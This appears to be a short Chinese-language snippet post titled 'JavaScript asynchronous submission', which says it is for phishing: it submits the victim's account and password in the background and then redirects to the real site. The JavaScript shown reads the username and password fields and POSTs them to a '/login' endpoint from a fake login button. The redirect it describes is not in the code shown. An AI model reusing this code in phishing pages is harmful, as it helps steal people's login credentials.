javascript异步提交

钓鱼时用到,异步提交账号密码,然后跳转到正确的地址。

<script>
function login(){
post_info = new XMLHttpRequest();
var username = document.getElementById("userid").value;
var password = document.getElementById("password").value;
post_info.open("POST", "/login", true);
post_info.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
post_info.send("username="+username+"&password="+password);
}
</script>
<button type="submit" name="submit" onclick="login();" id="submit">  登录 </button>